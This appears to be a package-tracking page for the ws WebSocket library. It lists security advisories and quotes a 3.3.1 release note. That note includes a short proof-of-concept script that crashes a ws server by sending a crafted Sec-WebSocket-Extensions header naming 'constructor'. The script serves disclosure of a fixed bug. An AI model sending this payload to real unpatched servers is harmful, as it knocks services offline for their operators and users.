ws
8.23.0 · 12 Nov 2026MIT428.4M / weekRepositorynpmAtom feed
Your version
3.3.3 is the newest release of 3.x.
In short
2 security
Security
Fixes 1 advisory that affected 3.3.0
- HighDenial of Service in wsGHSA-5v72-xg48-5rpm · 4 Jun 2019Fixed in 3.3.1
2 advisories affect 3.3.1; 5.2.5 fixes them
- Highws: Memory exhaustion DoS from tiny fragments and data chunksGHSA-96hv-2xvq-fx4p · 15 Jun 2026Fixed in 5.2.5
- Highws affected by a DoS when handling a request with many HTTP headersGHSA-3h5v-q93c-6h6q · 17 Jun 2024Fixed in 5.2.4
Release note
Bug fixes
- Security
Fixed a DoS vulnerability (c4fe466).
A specially crafted value of the Sec-WebSocket-Extensions header that
used Object.prototype property names as extension or parameter names
could be used to make a ws server crash.
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});The vulnerability has been privately reported by Nick Starke and
Ryan Knell of Sonatype Security Research and promptly fixed. Please
update now!
A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.